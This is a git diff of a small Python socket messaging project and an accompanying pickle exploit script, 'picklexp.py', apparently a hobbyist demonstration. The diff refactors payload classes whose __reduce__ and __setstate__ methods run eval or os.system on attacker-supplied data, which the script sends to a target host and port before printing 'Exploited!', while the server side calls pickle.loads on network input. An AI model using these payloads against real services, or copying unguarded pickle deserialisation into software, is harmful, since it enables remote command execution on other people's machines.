diff --git a/main.py b/main.py index d6d986f..9fcc192 100644 --- a/main.py +++ b/main.py @@ -2,7 +2,7 @@ import networker as net import sys from threading import Thread -import traceback +#import traceback translators = (net.PickleTranslate(), net.JSONTranslate()) @@ -13,6 +13,13 @@ conn = None allowFiles = False log = [] +def listAsTypes(lin): + toret = "[" + for x in lin: + toret += str(type(x)) + ", " + toret = toret[:-2] + return toret + "]" + def onConn(addr): log.append(addr + " # Connection Established") @@ -103,7 +110,7 @@ def main(): except Exception as e: print("Command Error!") - print(traceback.format_exc()) + #print(traceback.format_exc()) exit @@ -120,7 +127,7 @@ if __name__ == "__main__": if len(sys.argv) > 3: translator = translators[int(sys.argv[3]) - 1] else: - translator = translators[int(input("Enter the message translator position " + str(translators) + " : ")) - 1] + translator = translators[int(input("Enter the message translator position " + listAsTypes(translators) + " : ")) - 1] main() diff --git a/networker.py b/networker.py index 8c2f4c7..06a91c5 100644 --- a/networker.py +++ b/networker.py @@ -5,7 +5,7 @@ import socket import time from threading import Thread import base64 -import traceback +#import traceback #Defines a message class that has a type, header and a body. class Message: @@ -69,13 +69,13 @@ class PickleTranslate: try: return pickle.dumps(m) except: - print(traceback.format_exc()) + #print(traceback.format_exc()) return None def fromString(self, b): try: return pickle.loads(b) except: - print(traceback.format_exc()) + #print(traceback.format_exc()) return None #JSON Translator for Message to and from bytes. @@ -84,13 +84,13 @@ class JSONTranslate: try: return json.dumps(m.toDict()) except: - print(traceback.format_exc()) + #print(traceback.format_exc()) return None def fromString(self, b): try: return MessageFromDict(json.loads(b)) except: - print(traceback.format_exc()) + #print(traceback.format_exc()) return None #Connection class diff --git a/picklexp.py b/picklexp.py index a3a07a8..1d9bbf0 100644 --- a/picklexp.py +++ b/picklexp.py @@ -2,49 +2,50 @@ #Be RESPONSIBLE when using this! import networker as net import pickle -import traceback import sys +#import traceback #Payloads: #State payloads only work if the Object is available at the target -class StatePXP: +class ExpBase: def __init__(self, data): self.data = data + +class StateBase(ExpBase): def __getstate__(self): return self.data + +class StatePXP(StateBase): def __setstate__(self, state): self.data = state print(self.data) -class ReducePXP: - def __init__(self, data): - self.data = data +class ReducePXP(ExpBase): def __reduce__(self): return print, (self.data,) -class StateEXP: - def __init__(self, data): - self.data = data - def __getstate__(self): - return self.data +class StateEXP(StateBase): def __setstate__(self, state): self.data = state eval(self.data) -class ReduceEXP: - def __init__(self, data): - self.data = data +class ReduceEXP(ExpBase): def __reduce__(self): return eval, (self.data,) -class ReduceSXP: - def __init__(self, data): - self.data = data +class ReduceSXP(ExpBase): def __reduce__(self): import os return os.system, (self.data,) +def listAsTypes(lin): + toret = "[" + for x in lin: + toret += str(type(x)) + ", " + toret = toret[:-2] + return toret + "]" + payloads = (StatePXP(""), ReducePXP(""), StateEXP(""), ReduceEXP(""), ReduceSXP("")) payload = None taddr = "" @@ -68,7 +69,8 @@ def main(): conn.send(taddr+":"+str(tport), payload) print("Exploited!") except: - print(traceback.format_exc()) + #print(traceback.format_exc()) + pass conn.close() exit @@ -85,7 +87,7 @@ if __name__ == "__main__": if len(sys.argv) > 3: plid = int(sys.argv[3]) - 1 else: - plid = int(input("Enter the payload position " + str(payloads) + " : ")) - 1 + plid = int(input("Enter the payload position " + listAsTypes(payloads) + " : ")) - 1 if len(sys.argv) > 4: pldata = sys.argv[4] else: